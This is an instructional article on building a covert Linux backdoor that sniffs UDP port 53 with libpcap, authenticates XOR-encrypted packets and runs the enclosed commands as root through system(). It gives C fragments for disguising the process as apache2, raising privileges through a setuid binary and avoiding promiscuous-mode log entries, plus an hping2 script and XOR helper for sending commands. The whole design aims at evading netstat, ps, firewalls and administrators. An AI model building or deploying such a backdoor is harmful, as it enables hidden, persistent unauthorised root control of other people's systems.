Designing Linux Backdoors

Introduction

- A backdoor is a program or a set of related software is installed covertly on a computer to allow access to the system at a later time.

- Usually the main goal is to remove the evidence of initial entry from the systems log. However, a sophisticated backdoor will allow an attacker to retain access to a machine it has been compromised even if the intrusion has been detected by the system administrator.

- Resetting passwords, changing disk access permissions or fixing original security holes in the hope of remedying the problem are usually not very successful.

Traditional Backdoors

- Local backdoors are executed locally on a target system, and therefore require that the attacker have some form of prior access to the compromised system before execution.

- Most local backdoors are used by intruders who have shell access to the compromised system, using the backdoor to escalate their privileges.

- Although there are many approaches for covertly using and hiding local backdoors, the necessity for the attacker's local presence provides an inherent high risk of discovery.

- For this reason, remote backdoors are becoming more prevalent than those that require local access.

- Remote backdoors are network accessible, making them accessible from an attacker's system without prior access (other than the initial compromise and installation of the backdoor itself).

- Traditionally, these backdoors were accessed remotely via TCP sockets listening on a high port, to which the attacker could connect.

- One the connection has been established, authentication may be required, however most backdoors grant access immediately.

- This traditional style of standard socket listening backdoor is unsophisticated and is easily detected using tools such as ***netstat*** (assuming netstat itself is not backdoored).

- Note that this type of a backdoor is also easily discovered by remote port scanning, thus allowing arbitrary access by other attackers.

Sophisticated Backdoors

- As the security industry evolves, the sophistication of both the security analysts/administrators and hackers has evolved with the times and the technology.
- Administrators have learned to detect and block basic socket listening backdoors, mainly through the use of firewall rules that will block traffic on ports not essential to legitimate services. These firewalls will for the most part eliminate connectivity to listening backdoors
- To counteract these sorts of defense mechanisms, hackers devised new tactics such as embedding backdoor code inside of existing, privileged, socket–listening daemons to evade firewall(s).
- A backdoor–embedded daemon would listen for and provide normal service until some form of a protocol trigger is received, at which point privileges would be raised (if necessary) and a shell is bound to the socket.
- The main advantage to this form of backdoor is if it is detected up by ***netstat*** or a port scan, it shows up as a standard listening daemon.
- The risks with this method reside in having to replace a privileged binary on the target system, as it is likely be noticed by host IDS or an experienced network administrator.
- Even if it goes undetected, if the daemon is ever upgraded, the backdoored binary is likely to be replaced by a new, legitimate binary.
- Yet another technique to bypass firewalls is for the backdoor program to connect back to the attacker’s machine, instead of listening for an inbound connection.
- The underlying assumption for this technique is that that even if a firewall is in place, its policies allow outbound traffic to arbitrary ports by default.
- Stateful firewalls that track the state of connections often allow the returning inbound traffic related to established connections, thus making this technique successful.
- Unfortunately, this form of backdoor shows up in the output of network monitoring tools such as ***netstat*** because it is still a system managed connection.
- Another major flaw with this method is that timing and or triggers packets are required to determine when and where a connect–back occurs.

Packet Sniffing Backdoors

- Packet sniffing backdoor techniques have evolved from the need to bypass a local firewalls (like **Netfilter**), without embedding code or connecting back to an attackers machine

- This type of backdoor works by capturing packets (possibly those with certain characteristics or signatures), and decodes those packets to obtain commands to execute.

- The packets containing the backdoor commands do not have to be accepted by the system as a part of an established connection, they simply have to be received by the target system's network interface card.

- By capturing packets directly off the NIC, and bypassing the stack altogether, packets are captured by the backdoor regardless of being locally filtered by mechanisms such as Netfilter.

- Since the backdoor application never established a connection through the system, it will not show up with **netstat**.

- In addition, since it need only capture packets directed at the system (not other systems on the network); it can keep the NIC in non–promiscuous mode thus preventing it from showing up in local system logs.

Packet Sniffing Backdoor Design

- The two main issues to be considered in the application design include identifying which packets to interpret for commands, and how to authenticate them.

- Sending plain text command strings inside of packets might give away the presence of a backdoor to someone monitoring network traffic – some form of encoding or encryption (even if just simple character substitution) should be used.

- Although this method is not infallible, it can be very inconspicuous and difficult to notice unless specifically being searched for.

- The main objectives that a packet sniffing backdoor will have to achieve are the following:

    - Run as a ***setuid()*** program; not only to give it root access, but also because root privileges are required for packet capturing.

    - Capture packets directed at a selected, commonly accessible port such as UDP 53 (used by DNS).

    - Interpret and decipher each packet with some form of authentication, ideally encryption, and execute authenticated packet contents as commands upon authenticating.

    - Have some additional rootkit functionality to avoid detection from tools such as ***ps***.

- The following pseudocode illustrates the flow of logic of such a program. This design can be used as the basis for implementing the actual backdoor code.

```
Main Function
{
    mask the process name;
    raise its privileges;

    initialize all the variables & packet capture functions ;
    build a packet filter for desired port, protocol, etc.;
    activate the packet filter ;

    Loop indefinitely
    {
        Call the function to capture a packet;
        Pass captured packet to Packet Handler Function;
    }
}


Packet Handler Function
{
    verify packet is intended for backdoor by checking for a
        pre-defined backdoor header key;
    if key is not present
        Return;

    Since backdoor has a header key
        decrypt remaining packet data with some pre-defined password;

     After Decryption
        verify data decrypted into backdoor intended commands by
        checking for protocol header/footer;

    if header/footer flags are not present
        return;

    since packet had header key, and decrypted properly,
      contains adequate flags, execute the system call using the
    decrypteddata;

    return;
}
```

- The basic application has two main components to it: a main function, and a packet handler function called by the main function.
- In **main()**, the process name is masked to deceive anyone who runs a program like ***ps*** to view running processes.
- Privileges are then raised, both for the ability to capture packets, as well as to provide to the backdoor user.
- Next, the packet capturing variables and functions required for a packet capture session are initialized.
- Finally, the code enters an infinite packet capturing loop, and with each pass through the loop, it hands a captured packet to the handler function.
- The packet handler function is where most of the program's logic is required; it has to decipher which packets were meant for the backdoor from all the rest of the packet traffic bearing the same protocol and port.
- The most efficient way to do this is to incorporate some form of authentication, ideally involving some type of encryption mechanism.
- In this program design, we can use a simple technique where the received packet is checked for a backdoor-header-key (some key phrase) validating that the packet is meant for the backdoor.
- If this backdoor-header-key is not present, the handler function returns immediately, so the program can be ready to capture the next packet.
- If the header-key is present, then it decrypts the remaining packet data with some basic decryption scheme.
- Next the decrypted packet contents are parsed for some string or flag, to prove the decryption was successful.
- If the decrypted flags are not found, the handler simply returns. This is done as a final layer of authentication: if the packet has the header key, and the packet's contents decrypted properly, it can be safely assumed the packet is intended for the backdoor and contains a command.
- At this point the remaining decrypted packet contents are extracted and executed as a system command, completing the backdoor function.

- Writing a packet sniffing program is relatively simple, especially with the use of the **libpcap** library.
- Libpcap is a library providing a robust, easy to use set of functions for capturing and managing packets (*http://www.tcpdump.org*).

Masking the Process Name

- The first step is to implement the code that will hide or mask the process name. The following code fragment illustrates this.

- This is accomplished with the ***strcpy(argv[0], MASK)*** system call.

- When **argv[0]** is changed, so is the programs base name and in turn the process name for the program.

- This is a simple and effective way to change a program's process name. In our case, the name is changed to masquerade as Apache's running process name.

- The following code fragment illustrates how to accomplish this:

```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pcap.h>

#define MASK "/usr/sbin/apache2 -k start -DSSL"

int main(int argc, char *argv[])
{

  /* mask the process name */
  strcpy(argv[0], MASK);

  /* change the UID/GID to 0 (raise privs) */
  setuid(0);
  setgid(0);

  /* setup packet capturing */
  /* ... */
  /* capture and pass packets to handler */
  /* ... */
}
```

- The above code also implements an elevation of privilege by calling ***setuid(0)*** and ***setgid(0)***, to set the UID and GID respectively.

- This is the most important step for the backdoor to function with root privileges. It is also required for capturing raw packets.

- Note that for this program to actually be allowed to set its own privileges, the compiled binary must have the suid–bit set on the target system.

- This can be accomplished from command line as follows:

```
# chown root backdoor_binary
# chmod +s backdoor_binary
```

Packet Capturing using "*libpcap*"

- The core engine of the backdoor application is the code that implements the packet capturing functionality. This will be done using the appropriate **pcap** functions (see **/usr/include/pcap.h**).

- The following code implements the bare-essential functionality to start a packet capture session for the example backdoor.

```
pcap_t       *sniff_session;
char         errbuf[PCAP_ERRBUF_SIZE];
char         filter_string[]="udp dst port 53";
struct       bpf_program filter;
bpf_u_int32 net;
bpf_u_int32 mask;

if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf))
{
         /* failed. die. */
         exit(0);
}
if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf)))
  {
         /* failed. die */
         exit(0);
  }
  pcap_compile(sniff_session, &filter, filter_string, 0, net);
  pcap_setfilter(sniff_session, &filter);
  pcap_loop(sniff_session, 0, packet_handler, NULL);
```

- The ***pcap_lookupnet()*** function is used to obtain the network address and subnet mask for a network device on which the packet capture will be running.

- Note that on the latest distributions this function is deprecated, use ***pcap_findalldevs()*** instead.

- Upon successful completion, the network address and subnet mask will be returned in the **bpf_u_int32** variables **net** and **mask**, which are provided as arguments to the call.

- Note that the function's first argument specifies the device to capture packets from; setting it to NULL implies use of any device, thus capturing packets on all available interfaces.

- Since an attacker will most likely not know the devices on a target system, not specifying a particular device works is the best approach.

- The ***pcap_open_live()***, which opens and returns a pointer to a packet capture descriptor. A capture descriptor is the primary data type used for capturing packets, and ultimately manages all aspects of the packet capturing session.

- Like the previous function, this function's first argument is the network device to capture on, where NULL implies any device.

- The next argument sets the maximum amount of bytes to be captured from each packet, called the **snaplen**, and is set to 1024.

- The third argument determines whether or not to place the device in promiscuous mode; it is set to non-promiscuous mode, but it has no effect in this context since it is ignored if NULL (any device) is specified for the first argument.

- Not putting the device into promiscuous mode is a very good idea for an application such as a backdoor. When a device enters promiscuous mode, a statement alerting the status of the device is recorded in the system log.

- The fourth argument is a read timeout in milliseconds; zero specifies no timeout.

- If ***pcap_open_live()*** fails, it returns NULL, otherwise a pointer to a capture descriptor is returned.

- The ***pcap_compile()*** function is used to compile a filter expression (the third string argument) into a filter program. This filter program will then be used to filter, or select, the types of packets that are captured.

- Building a packet filter is the easiest way to specify the desired protocol and port of packets to be captured, and thus can be used to satisfy one of the backdoor's objectives.

- The first argument to points to a packet capture descriptor (**sniff_session**) that was returned from the **pcap_open_live** function.

- The next argument expected is a pointer to a **bpf_program** structure, which will be filled in by the **pcap_compile** if the function call is successful.

- The third argument is the string containing rules to be compiled into this filter. The syntax for the filter rule strings are simple and intuitive, similar to the syntax used in ***tcpdump***.

- For example, the array declared as **filter_string[],** contains the string **"udp dst port 53"**, which when compiled into a **bpf_program**, tells **pcap** to only capture packets destined for UDP port 53.

- The ***pcap_setfilter()*** function is used to load a filter program into the packet capture device. This causes the capture of the packets defined by the filter to commence.

- Henceforth, any packet captured through the capture descriptor **sniff_session** will be protocol UDP destined for port 53

- The ***pcap_loop()*** function reads and processes packets; it starts the actual capture session.

- The arguments expected by ***pcap_loop()*** are: the capture descriptor, the count of packets to capture, the name of a packet handler function, and an arbitrarily defined pointer argument to pass to the packet handler function.

- The **pcap_loop** function works by listening for and capturing packets on the given descriptor, until the specified capture count has been reached.

- Upon capturing each packet, it calls the user-defined packet handler function which will process the packet accordingly.

- When **pcap_loop** calls the packet handler function, it passes the following arguments to it: a programmer-defined pointer, a pointer to a **pcap_pkthdr** structure (discussed later), and a pointer to the packet itself.

- This allows the packet handler function to receive the packet, its relative information, and any other data the programmer would like to pass in (via the programmer-defined pointer).

- Note that in the code the packet count passed is 0, which tells **pcap_loop** to capture packets indefinitely.

- The packet hander function in this example is called "**packet_handler**", which means that **pcap** will pass captured packets to function with that name.

- In this example we are not passing any arguments to the packet handler, so the last argument is set to NULL.

Packet Handling and Parsing

- The handling of a captured packet and properly parsing it for commands constitutes the bulk of the code in the implementation of a packet sniffing backdoor.

- The code provided implements the basic functionality of a packet handler and parser.

- Since we know that **pcap** will be passing the handler function arguments in a specific order, writing a prototype for the handler function is relatively simple.

- The first argument being passed to the handler is the programmer-defined pointer **u_char *user**. It was passed to **pcap_loop()** as NULL.

- The second argument being passed to this function is a pointer to a **pcap_pkthdr** structure:

```
struct pcap_pkthdr {
        struct timeval ts;
        bpf_u_int32 caplen;
        bpf_u_int32 len;
};
```

  - **struct timeval ts:** contains the time the packet was captured
  - **bpf_u_int32 caplen:** contains a count of bytes captured
  - **bpf_u_int32 len:** containing the total length of bytes available for capture (which may be more than the bytes captured, if it exceeded the snaplen).

- The last argument passed in is an unsigned **char *packet**, which points to the packet data itself.

- Note that **pcap** captures the entire packet, including its protocol headers, so the pointer **u_char *packet** points to the beginning of the whole packet (not just its contents).

- In order to access the packet payload, the length of the protocol headers (Ethernet, UDP, IP, etc.) in bytes must be known to offset from the packet pointer being passed.

- In the code provided, the offset is a defined value for the combined header lengths for Ethernet, IP, and UDP headers, with a total count of **44 bytes**.

- The **packet_handler** function must ensure that the packet being passed to it is meant for the backdoor, and contains "legitimate" backdoor data.

- In order to achieve this, it becomes necessary to write some form of backdoor protocol syntax for the authentication and decryption of the packet.

- As shown in the code, the first layer of authentication involves comparing the first few bytes of the packet contents against some form of protocol-key. If the key is not present, the packet is dropped for backdoor use, and the function returns.

- This presence of a valid protocol key indicates that the packet is most likely meant for the backdoor, and the data should be authenticated further.

- The intent of having a protocol–key checked for before more process–intensive forms of authentication are carried out, is primarily for efficiency reasons.

- At this stage, if the handler function has not yet returned, the packet is assumed to contain encrypted data. It is appropriate to now attempt decryption of the remaining packet data, and then check for further authentication.

- For the purposes of this example, we will use a very simple method called XOR encryption. This form of encryption uses the XOR (Exclusive–OR) bitwise operator with 2 bytes of data to produce 1 resulting byte of data.

- That is, it takes one byte from a password string, and XORs it against a byte from the array of data to be encrypted, and the result is an encrypted byte.

- The decryption process is the essentially the same process: XOR an encrypted byte against a corresponding password byte to find the original unencrypted byte.

- The example code uses a loop to XOR each byte remaining in the packet against the password defined as **PASSWORD**. The modulus operator (%) is used to determine which byte of the password string corresponds to the byte being referenced in the packet contents.

- The decrypted byte resulting from each cycle in the loop is stored in the array named **decrypt[].**

- Once the remaining data has been decrypted, it must be verified. Verification of the decrypted data is done to check that it originated from a decrypted state and thus was intended for the backdoor.

- It is important here to understand that even though the packet contained the backdoor header key, it may have been completely random and coincidental.

- More importantly, the packet might even be spoofed by someone aware of the backdoor, as the header key could be easily sniffed (as it is in plaintext).

- By checking the decrypted data, it is ensured that the creator of the packet not only knew the backdoor header key, but also knew the encryption password.

- For ease of implementation, the example code validates the decrypted contents by simply checking for 2 predefined strings within the decrypted data.

- These strings are meant act as a header and footer for the command string to the executed, and are defined as **COMMAND_START** and **COMMAND_END**.

- If either one of these strings is not present, the packet is considered invalid and, the function returns. If both strings are present, the data between the two strings is extracted and considered to be a **command.**

- The final step in the backdoor application is to execute the remaining string as a command.

- This is accomplished using the ***system()*** function on the remaining decrypted, extracted string.
- Note that the ***system()*** function is not very stealthy or practical in the context of a remote backdoor, and only shown used here as a simple example.

Sending Backdoor Commands

- The best way to test the functionality of the backdoor is to send it commands using an automated script.
- The following is a simple shell script, which uses the **hping2** command:

```
#!/bin/bash
PASS=foobar
OPTS="-c 1 -2 -E /dev/stdin -d 100 -p 53 "
COM_START="start["
COM_END="]end"
if [ -z "$1" ]
then
echo "$0 <ip> <command>"
exit 0
fi
if [ -z "$2" ]
then
echo "$0 <ip> <command>"
exit 0
fi
echo "$COM_START$2$COM_END $PASS to hping $OPTS $1"
./xor_string "$COM_START$2$COM_END" $PASS | hping2 $OPTS $1
```

- It is invoked as follows:

  $ ./backtest.sh <ip> <command>

- The script also requires a small application to XOR the string (**xor_string**), which should be compiled and placed in the same directory as the **backtest.sh** script:

- The following code implements such an authentication function:

```
#include <stdio.h>
int main(int argc, char *argv[])
{
  int i, x, y;
  if (!argv[1] || !argv[2])
  {
    printf("%s <string> <pass>n", argv[0]);
    return 0;
  }
  x = strlen(argv[1]);
  y = strlen(argv[2]);
  for (i = 0; i < x; ++i)
    argv[1][i] ^= argv[2][(i%y)];
  printf("%s", argv[1]);
  return 0;
}
```